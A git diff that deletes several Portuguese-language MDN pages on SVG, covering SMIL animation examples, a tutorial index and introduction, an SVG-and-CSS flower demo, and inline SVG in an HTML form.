value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/svg/svg_animation_with_smil/index.html b/files/pt-pt/web/svg/svg_animation_with_smil/index.html
deleted file mode 100644
index b536e46b33..0000000000
--- a/files/pt-pt/web/svg/svg_animation_with_smil/index.html
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: Animação SVG com SMIL
-slug: Web/SVG/SVG_animation_with_SMIL
-tags:
- - Animação
- - Animação de SVG
- - Firefox 4
- - Gecko 2.0
- - SVG
-translation_of: Web/SVG/SVG_animation_with_SMIL
-original_slug: Web/SVG/SVG_animacao_com_SMIL
----
-<div class="warning">
-<p>Embora o Chrome 45 tenha revogado SMIL em favor das animações CSS e da Web, os programadores do Chrome suspenderam essa revogação.</p>
-</div>
-
-<p>Firefox 4 introduziu suporte para a animação de <a href="/en/SVG" title="en/SVG">SVG</a> utilizando <a class="external" href="http://www.w3.org/TR/REC-smil" title="http://www.w3.org/TR/REC-smil">Synchronized Multimedia Integration Language</a> (SMIL). SMIL permite-lhe:</p>
-
-<ul>
- <li>animate the numeric attributes of an element (x, y, ...)</li>
- <li>animate transform attributes (translation or rotation)</li>
- <li>animate color attributes</li>
- <li>follow a motion path</li>
-</ul>
-
-<p>This is done adding an SVG element like <span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("animate") }}</span> inside the SVG element to animate. Below are examples for the four different ways.</p>
-
-<h2 id="Animar_atributos_de_um_elemento">Animar atributos de um elemento</h2>
-
-<p>The following example animates the <strong>cx</strong> attribute of a circle. To do so, we add an <span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("animate") }} element inside the </span><span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("circle") }} element. The important attributes for </span><span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("animate") }} are:</span></p>
-
-<dl>
- <dt><strong>attributeName</strong></dt>
- <dd>The name of the attribute to animate.</dd>
- <dt>from</dt>
- <dd>The initial value of the attribute.</dd>
- <dt>to</dt>
- <dd>The final value.</dd>
- <dt>dur</dt>
- <dd>The duration of the animation (for example, write '5s' for 5 seconds).</dd>
-</dl>
-
-<p>If you want to animate more attributes inside the same element, just add more {{ SVGElement("animate") }} elements.</p>
-
-<pre class="brush: html">&lt;svg width="300" height="100"&gt;
- &lt;title&gt;Attribute Animation with SMIL&lt;/title&gt;
- &lt;rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /&gt;
- &lt;circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"&gt;
- &lt;animate
- attributeName="cx" from="0" to="500"
- dur="5s" repeatCount="indefinite" /&gt;
- &lt;/circle&gt;
-&lt;/svg&gt;</pre>
-
-<p>{{ EmbedLiveSample('Animating_attributes_of_an_element', '100%', 120) }}</p>
-
-<h2 id="Animar_os_atributos_transform">Animar os atributos "transform"</h2>
-
-<p><span class="author-g-shbl2alwmr0wm7ko">The {{ SVGElement("animateTransform") }} element let you animate <strong>transform</strong> attributes. This new element is necessary because we are not animating a simple attribute like <strong>x</strong> which is just a number. Rotation attributes look like this: <code>rotation(theta, x, y)</code>, where <code>theta</code> is the angle in degrees, and <code>x</code> and <code>y</code> are absolute positions. In the example below, we animate the center of the rotation and the angle.</span></p>
-
-<pre class="brush: html">&lt;svg width="300" height="100"&gt;
- &lt;title&gt;SVG SMIL Animate with transform&lt;/title&gt;
- &lt;rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /&gt;
- &lt;rect x="0" y="50" width="15" height="34" fill="blue" stroke="black" stroke-width="1"&gt;
- &lt;animateTransform
- attributeName="transform"
- begin="0s"
- dur="20s"
- type="rotate"
- from="0 60 60"
- to="360 100 60"
- repeatCount="indefinite"
- /&gt;
- &lt;/rect&gt;
-&lt;/svg&gt;
-</pre>
-
-<p>{{ EmbedLiveSample('Animating_the_transform_attributes', '100%', 120) }}</p>
-
-<h2 id="Animation_following_a_path">Animation following a path</h2>
-
-<p><span class="author-g-shbl2alwmr0wm7ko">The {{ SVGElement("animateMotion") }} element lets you animate an element position and rotation according to a path. </span>The path is defined the same way as in <span class="author-g-shbl2alwmr0wm7ko">{{ SVGElement("path") }}. You can set the attribute to define whether the object rotates following the tangent of the path. </span></p>
-
-<h3 id="Example_1_Linear_motion">Example 1: Linear motion</h3>
-
-<p>In this example, a blue circle bounces between the left and right edges of a black box, over and over again, indefinitely. The animation here is handled by the {{ SVGElement("animateMotion") }} element. In this case, we're establishing a path consisting of a <strong>M</strong>oveTo command to establish the starting point for the animation, then the <strong>H</strong>orizontal-line command to move the circle 300 pixels to the right, followed by the <strong>Z</strong> command, which closes the path, establishing a loop back to the beginning. By setting the value of the <strong>repeatCount</strong> attribute to <code>indefinite</code>, we indicate that the animation should loop forever, as long as the SVG image exists.</p>
-
-<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg" width="300" height="100"&gt;
- &lt;title&gt;SVG SMIL Animate with Path&lt;/title&gt;
- &lt;rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /&gt;
- &lt;circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"&gt;
- &lt;animateMotion
- path="M 0 0 H 300 Z"
- dur="3s" repeatCount="indefinite" /&gt;
- &lt;/circle&gt;
-&lt;/svg&gt;
-</pre>
-
-<p>{{ EmbedLiveSample('Example_1_Linear_motion', '100%', 120) }}</p>
-
-<p><a href="https://developer.mozilla.org/samples/svg/svganimdemo1.html">View live sample</a></p>
-
-<h3 id="Example_2_Curved_motion">Example 2: Curved motion</h3>
-
-<p>Same example as before with a curved path and following the direction of the path.</p>
-
-<pre class="brush: html">&lt;svg width="300" height="100"&gt;
- &lt;title&gt;SVG SMIL Animate with Path&lt;/title&gt;
- &lt;rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /&gt;
- &lt;rect x="0" y="0" width="20" height="20" fill="blue" stroke="black" stroke-width="1"&gt;
- &lt;animateMotion
- path="M 250,80 H 50 Q 30,80 30,50 Q 30,20 50,20 H 250 Q 280,20,280,50 Q 280,80,250,80Z"
- dur="3s" repeatCount="indefinite" rotate="auto" /&gt;
- &lt;/rect&gt;
-&lt;/svg&gt;
-</pre>
-
-<p>{{ EmbedLiveSample('Example_2_Curved_motion', '100%', 120) }}</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/SVG" title="en/SVG">SVG</a></li>
- <li><a class="external" href="http://www.w3.org/TR/SVG/animate.html" title="http://www.w3.org/TR/SVG/animate.html">Especificação de Animação de SVG</a></li>
- <li><a class="external" href="http://www.w3.org/TR/REC-smil" title="http://www.w3.org/TR/REC-smil">Especificação de SMIL</a></li>
-</ul>
diff --git a/files/pt-pt/web/svg/tutorial/index.html b/files/pt-pt/web/svg/tutorial/index.html
deleted file mode 100644
index 9c162f0342..0000000000
--- a/files/pt-pt/web/svg/tutorial/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: SGV - Tutorial
-slug: Web/SVG/Tutorial
-translation_of: Web/SVG/Tutorial
----
-<p>Scalable Vector Graphics, <a href="/pt/SVG" title="pt/SVG">SVG</a>, é uma linguagem baseada em XML para construir gráficos. O SVG foi parcialmente implementado no Firefox, Opera, navegadores WebKit, Internet Explorer e outros navegadores.</p>
-
-<p>Este tutorial visa explicar como funciona um SVG internamente e tem detalhes técnicos. Se você apenas quer desenhar imagens bonitas, você pode encontrar recursos úteis na <a href="http://inkscape.org/doc/" class="external" title="http://inkscape.org/doc/">Página de documentação do Inkscape</a>. Outra boa introdução ao SVG está disponível em <a href="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html" class="external" title="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html">SVG Primer</a>, pela W3C.</p>
-
-<div class="note">O tutorial está no início de seu desenvolvimento. Se você puder, por favor ajude lapidando e escrevendo um parágrafo ou dois. Pontos extras por escrever a página inteira.</div>
-
-<h2 id="Introdução_ao_SVG">Introdução ao SVG</h2>
-
-<ul>
- <li><a href="/Introducao" title="Introducao">Introdução</a></li>
- <li>Iniciando</li>
- <li>Posições</li>
- <li>Formas Básicas</li>
- <li>Caminhos</li>
- <li>Preenchimentos e Linhas</li>
- <li>Gradientes</li>
- <li>Padrões</li>
- <li>Textos</li>
- <li>Transformações Básicas</li>
- <li>Cortes e Máscaras</li>
- <li>Outros Conteúdos em SVG</li>
- <li>Efeitos de Filtro</li>
- <li>Fontes em SVG</li>
- <li>(muitas outras entradas aqui)</li>
- <li>Ferramentas para SVG</li>
- <li>Outros Tutoriais</li>
-</ul>
diff --git a/files/pt-pt/web/svg/tutorial/introduction/index.html b/files/pt-pt/web/svg/tutorial/introduction/index.html
deleted file mode 100644
index 56e9179a48..0000000000
--- a/files/pt-pt/web/svg/tutorial/introduction/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Introdução
-slug: Web/SVG/Tutorial/Introduction
-tags:
- - Guía
- - Precisa de Atualização
- - Principiante
- - SVG
- - SVG - Tutorial
- - Tutorial
-translation_of: Web/SVG/Tutorial/Introduction
-original_slug: Web/SVG/Tutorial/Introducao
----
-<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
-
-<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right;"><a href="/en-US/SVG" title="en-US/SVG">SVG</a> is an <a href="/en-US/XML" title="en-US/XML">XML</a> language, similar to <a href="/en-US/XHTML" title="en-US/XHTML">XHTML</a>, which can be used to draw vector graphics, such as the ones shown to the right. It can be used to create an image either by specifying all the lines and shapes necessary, by modifying already existing raster images, or by a combination of both. The image and its components can also be transformed, composited together, or filtered to change their appearance completely.</p>
-
-<p>SVG came about in 1999 after several competing formats had been submitted to the <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a> and failed to be fully ratified. SVG is supported by all major <a href="https://caniuse.com/#search=svg">browsers</a>. A downside is loading SVG can be slow. SVG does offer benefits, some of which include having a <a href="/en-US/docs/Web/API">DOM interface</a> available for it, and not requiring third-party extensions. Whether or not to use it often depends on your specific use case.</p>
-
-
-
-
-
-<h3 id="Ingredientes_básicos">Ingredientes básicos</h3>
-
-<p><a href="/en-US/docs/Web/HTML">HTML</a> provides elements for defining headers, paragraphs, tables, and so on. In much the same way SVG provides elements for circles, rectangles, and simple and complex curves. A simple SVG document consists of nothing more than the {{ SVGElement('svg') }} root element and several basic shapes that build a graphic together. In addition there is the {{ SVGElement('g') }} element, which is used to group several basic shapes together.</p>
-
-<p>Starting from there, the SVG image can become arbitrarily complex. SVG supports gradients, rotations, filter effects, animations, interactivity with JavaScript, and so on. But all these extra features of the language rely on this relatively small set of elements to define the graphics area.</p>
-
-<h3 id="Before_you_start" name="Before_you_start">Antes de começar</h3>
-
-<p>There are a number of drawing applications available such as <a class="external" href="http://www.inkscape.org/">Inkscape</a> which are free and use SVG as their native file format. However, this tutorial will rely on the trusty XML or text editor (your choice). The idea is to teach the internals of SVG to those who want to understand it, and that is best done by dirtying your hands with a bit of markup. You should note your final goal though. Not all SVG viewers are equal and so there is a good chance that something written for one app will not display exactly the same in another, simply because they support different levels of the SVG specification or another specification that you are using along with SVG (that is, <a href="/en-US/JavaScript" title="en-US/JavaScript">JavaScript</a> or <a href="/en-US/CSS" title="en-US/CSS">CSS</a>).</p>
-
-<p>SVG is supported in all modern browsers and even a couple versions back in some cases. A fairly complete browser support table can be found on <a href="http://caniuse.com/svg">Can I use</a>. Firefox has supported some SVG content since version 1.5, and that support level has been growing with each release since. Hopefully, along with the tutorial here, MDN can help developers keep up with the differences between Gecko and some of the other major implementations.</p>
-
-<p>Before starting you should have a basic understanding of XML or another markup language such as <abbr title="HyperText Markup Language">HTML</abbr>. If you are not too familiar with XML, here are some guidelines to keep in mind:</p>
-
-<ul>
- <li>SVG elements and attributes should all be entered in the case shown here since XML is case-sensitive (unlike HTML).</li>
- <li>Attribute values in SVG must be placed inside quotes, even if they are numbers.</li>
-</ul>
-
-<p>SVG is a huge specification. This tutorial attempts to cover the basics. Once you are familiar you should be able to use the <a href="/en-US/SVG/Element" title="en-US/SVG/Element">Element Reference</a> and the <a href="/en-US/docs/DOM/DOM_Reference#SVG_interfaces" title="en-US/SVG/Interface">Interface Reference</a> to find out anything else you need to know.</p>
-
-<h3 id="Flavors_of_SVG">Flavors of SVG</h3>
-
-<p>Since becoming a recommendation in 2003, the most recent "full" SVG version is 1.1. It builds on top of SVG 1.0, but adds more modularization to ease implementation. <a href="http://www.w3.org/TR/SVG/">The second edition of SVG 1.1</a> became a Recommendation in 2011. "Full" SVG 1.2 was meant to be the next major release of SVG. It was dropped for the upcoming <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>, which is under heavy development right now and follows a similar approach to CSS 3 in that it splits components into several loosely coupled specifications.</p>
-
-<p>Apart from the full SVG recommendations, the working group at the W3C introduced SVG Tiny and SVG Basic in 2003. These two profiles are aimed mainly at mobile devices. The first, SVG Tiny, should yield graphics primitives for small devices with low capabilities. SVG Basic offers many features of full SVG, but doesn't include the ones which are hard to implement or heavy to render (like animations). In 2008, SVG Tiny 1.2 became a W3C Recommendation.</p>
-
-<p>There were plans for an SVG Print specification, which would add support for multiple pages and enhanced color management. This work was discontinued.</p>
-
-<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
diff --git a/files/pt-pt/web/svg/tutorial/svg_and_css/index.html b/files/pt-pt/web/svg/tutorial/svg_and_css/index.html
deleted file mode 100644
index fff48c7620..0000000000
--- a/files/pt-pt/web/svg/tutorial/svg_and_css/index.html
+++ /dev/null
@@ -1,216 +0,0 @@
----
-title: Gráficos SVG
-slug: Web/SVG/Tutorial/SVG_and_CSS
-tags:
- - CSS:Como_começar
-translation_of: Web/SVG/Tutorial/SVG_and_CSS
-original_slug: Web/CSS/Como_começar/Gráficos_SVG
----
-<p>{{ PreviousNext("CSS:Como começar:Interfaces de usuário XUL", "CSS:Como começar:Dados XML") }}</p>
-
-<p>Esta página ilustra a linguagem especializada para criação de gráficos: SVG.</p>
-
-<p>Você cria uma simples demonstração que roda em seu navegador Mozilla com SVG ativado.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_SVG" name="Informa.C3.A7.C3.A3o:_SVG">Informação: SVG</h2>
-
-<p><em>SVG</em> (Scalable Vector Graphics) é uma linguagem baseada em XML para criação de gráficos.</p>
-
-<p>Ela pode ser usada para imagens estáticas, e também para animações e interfaces de usuário.</p>
-
-<p>Como outras linguagens baseadas em XML, SVG suporta folhas de estilo CSS então você pode separar o estilo de um gráfico do seu conteúdo.</p>
-
-<p>As folhas de estilo que você usa com linguagens de marcação em outros documentos também podem especificar o URL de um gráfico SVG onde uma imagem é requerida. Por exemplo, uma folha de estilo que você usa com documentos HTML pode especificar uma URL de um gráfico SVG no valor da propriedade <code>background</code>.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td><span class="comment">Enquanto escrevo (metade de 2005), somente algumas novas construções dos navegadores Mozilla tem suporte a SVG contruída. Você pode adicionar suporte ao SVG à outras versões instalando um plugin tal como este fornecido pela {{ mediawiki.external('http://www.adobe.com/svg/viewer/install/main.html Adobe') }}.</span>
- <p>Para mais informações sobre SVG no Mozilla, veja a página <a href="/pt/SVG" title="pt/SVG">SVG</a> neste wiki.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Uma_demonstra.C3.A7.C3.A3o_SVG" name="A.C3.A7.C3.A3o:_Uma_demonstra.C3.A7.C3.A3o_SVG">Ação: Uma demonstração SVG</h2>
-
-<p>Crie um novo documento SVG de um arquivo de texto simples, <code>doc8.svg</code>. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela e pego tudo isto:</p>
-
-<div style="width: 48em; height: 12em; overflow: auto;">
-<pre>&lt;?xml version="1.0" standalone="no"?&gt;
-
-&lt;?xml-stylesheet type="text/css" href="style8.css"?&gt;
-
-&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
- "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
-
-&lt;svg width="600px" height="600px" viewBox="-300 -300 600 600"
- xmlns="http://www.w3.org/2000/svg" version="1.1"
- xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
-
-&lt;title&gt;SVG demonstration&lt;/title&gt;
-&lt;desc&gt;Mozilla CSS Getting Started - SVG demonstration&lt;/desc&gt;
-
-&lt;defs&gt;
- &lt;g id="segment" class="segment"&gt;
- &lt;path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/&gt;
- &lt;path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/&gt;
- &lt;/g&gt;
- &lt;g id="quadrant"&gt;
- &lt;use xlink:href="#segment"/&gt;
- &lt;use xlink:href="#segment" transform="rotate(18)"/&gt;
- &lt;use xlink:href="#segment" transform="rotate(36)"/&gt;
- &lt;use xlink:href="#segment" transform="rotate(54)"/&gt;
- &lt;use xlink:href="#segment" transform="rotate(72)"/&gt;
- &lt;/g&gt;
- &lt;g id="petals"&gt;
- &lt;use xlink:href="#quadrant"/&gt;
- &lt;use xlink:href="#quadrant" transform="rotate(90)"/&gt;
- &lt;use xlink:href="#quadrant" transform="rotate(180)"/&gt;
- &lt;use xlink:href="#quadrant" transform="rotate(270)"/&gt;
- &lt;/g&gt;
- &lt;radialGradient id="fade" cx="0" cy="0" r="200"
- gradientUnits="userSpaceOnUse"&gt;
- &lt;stop id="fade-stop-1" offset="33%"/&gt;
- &lt;stop id="fade-stop-2" offset="95%"/&gt;
- &lt;/radialGradient&gt;
- &lt;/defs&gt;
-
-&lt;text id="heading" x="-280" y="-270"&gt;
- SVG demonstration&lt;/text&gt;
-&lt;text id="caption" x="-280" y="-250"&gt;
- Move your mouse pointer over the flower.&lt;/text&gt;
-
-&lt;g id="flower"&gt;
- &lt;circle id="overlay" cx="0" cy="0" r="200"
- stroke="none" fill="url(#fade)"/&gt;
- &lt;use id="outer-petals" xlink:href="#petals"/&gt;
- &lt;use id="inner-petals" xlink:href="#petals"
- transform="rotate(9) scale(0.33)"/&gt;
- &lt;/g&gt;
-
-&lt;/svg&gt;
-</pre>
-</div>
-
-<p>Crie um novo arquivo CSS, <code>style8.css</code>. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela e pego tudo isto:</p>
-
-<div style="width: 48em; height: 12em; overflow: auto;">
-<pre>/*** Demonstração SVG ***/
-
-/* página */
-svg {
- background-color: beige;
- }
-
-#heading {
- font-size: 24px;
- font-weight: bold;
- }
-
-#caption {
- font-size: 12px;
- }
-
-/* flor */
-#flower:hover {
- cursor: crosshair;
- }
-
-/* gradiente */
-#fade-stop-1 {
- stop-color: blue;
- }
-
-#fade-stop-2 {
- stop-color: white;
- }
-
-/* outras pétalas */
-#outer-petals {
- opacity: .75;
- }
-
-#outer-petals .segment-fill {
- fill: azure;
- stroke: lightsteelblue;
- stroke-width: 1;
- }
-
-#outer-petals .segment-edge {
- fill: none;
- stroke: deepskyblue;
- stroke-width: 3;
- }
-
-#outer-petals .segment:hover &gt; .segment-fill {
- fill: plum;
- stroke: none;
- }
-
-#outer-petals .segment:hover &gt; .segment-edge {
- stroke: slateblue;
- }
-
-/* pétalas internas */
-#inner-petals .segment-fill {
- fill: yellow;
- stroke: yellowgreen;
- stroke-width: 1;
- }
-
-#inner-petals .segment-edge {
- fill: none;
- stroke: yellowgreen;
- stroke-width: 9;
- }
-
-#inner-petals .segment:hover &gt; .segment-fill {
- fill: darkseagreen;
- stroke: none;
- }
-
-#inner-petals .segment:hover &gt; .segment-edge {
- stroke: green;
- }
-</pre>
-</div>
-
-<p>Abra o documento no seu navegador com SVG ativado. Mova o ponteiro do seu mouse sobre o gráfico.</p>
-
-<p>Este wiki não suporta página com SVG, então não é possível demonstrá-lo aqui. Os gráficos deverão parecer com isto:</p>
-
-<table style="border: 2px outset #36b;">
- <tbody>
- <tr>
- <td><img alt="SVG demonstration" class="internal" src="/@api/deki/files/2553/=SVG-flower.png"></td>
- </tr>
- </tbody>
-</table>
-
-<p>Notas sobre esta demonstração:</p>
-
-<ul>
- <li>O documento SVG é ligado à folha de estilo normalmente.</li>
- <li>O SVG tem suas propriedades e valores CSS. Alguns deles são similares às propriedades do CSS para o HTML.</li>
-</ul>
-
-<p> </p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Mude a folha de estilo de modo que as pétalas interiores tornem-se todas rosa quando o ponteiro do mouse estiver sobre alguma delas, sem mudar a maneira como as outras pétalas trabalham.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Gr%C3%A1ficos_SVG" title="Talk:pt/CSS/Como_começar/Gráficos_SVG">Discussão</a>.</p>
-
-<p>Nesta demonstração, seu navegador com SVG ativado já sabe como mostrar elementos SVG. A folha de estilo somente modifica a exibição em certos caminhos. Isto também é verdade para documentos HTML e XUL. Mas você pode usar o CSS para propósitos gerais em documentos XML, onde não é predefinido um caminho para exibir os elementos. A próxima página demonstra isto: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Dados_XML" title="pt/CSS/Como_começar/Dados_XML">Dados XML</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Interfaces de usuário XUL", "CSS:Como começar:Dados XML") }}</p>
diff --git a/files/pt-pt/web/svg/tutorial/svg_in_html_introduction/index.html b/files/pt-pt/web/svg/tutorial/svg_in_html_introduction/index.html
deleted file mode 100644
index c1c37212b9..0000000000
--- a/files/pt-pt/web/svg/tutorial/svg_in_html_introduction/index.html
+++ /dev/null
@@ -1,180 +0,0 @@
----
-title: Introdução à SVG em HTML
-slug: Web/SVG/Tutorial/SVG_In_HTML_Introduction
-tags:
- - Intermediário
- - Precisa de Atualização
- - SVG
-translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
-original_slug: Web/SVG/Tutorial/SVG_na_Introducao_HTML
----
-<h2 id="Overview" name="Overview">Resumo</h2>
-
-<p>This article and its associated example shows how to use inline <a href="/pt-PT/docs/Web/SVG" title="SVG">SVG</a> to provide a background picture for a form. It shows how <a href="/pt-PT/docs/Web/JavaScript" title="JavaScript">JavaScript</a> and <a href="/pt-PT/docs/Web/CSS" title="CSS">CSS</a> can be used to manipulate the picture in the same way you would script regular XHTML. Note that the example will only work in browsers that support XHTML (not HTML) and SVG integration.</p>
-
-<h2 id="Source" name="Source">Fonte</h2>
-
-<p>Aqui tem a fonte para <a class="external" href="/presentations/xtech2005/svg-canvas/SVGDemo.xml" title="presentations/xtech2005/svg-canvas/SVGDemo.xml">o exemplo</a>:</p>
-
-<pre class="brush: html">&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
-&lt;head&gt;
-&lt;title&gt;XTech SVG Demo&lt;/title&gt;
-&lt;style&gt;
- stop.begin { stop-color:yellow; }
- stop.end { stop-color:green; }
- body.invalid stop.end { stop-color:red; }
- #err { display:none; }
- body.invalid #err { display:inline; }
-&lt;/style&gt;
-&lt;script&gt;
- function signalError() {
- document.getElementById('body').setAttribute("class", "invalid");
- }
-&lt;/script&gt;
-&lt;/head&gt;
-&lt;body id="body"
- style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"&gt;
-&lt;form&gt;
- &lt;fieldset&gt;
- &lt;legend&gt;HTML Form&lt;/legend&gt;
- &lt;p&gt;&lt;label&gt;Enter something:&lt;/label&gt;
- &lt;input type="text"/&gt;
- &lt;span id="err"&gt;Incorrect value!&lt;/span&gt;&lt;/p&gt;
- &lt;p&gt;&lt;input type="button" value="Activate!" onclick="signalError();" /&gt;&lt;/p&gt;
- &lt;/fieldset&gt;
-&lt;/form&gt;
-
-&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"
- viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
- style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"&gt;
- &lt;linearGradient id="gradient"&gt;
- &lt;stop class="begin" offset="0%"/&gt;
- &lt;stop class="end" offset="100%"/&gt;
- &lt;/linearGradient&gt;
- &lt;rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /&gt;
- &lt;circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /&gt;
-&lt;/svg&gt;
-&lt;/body&gt;
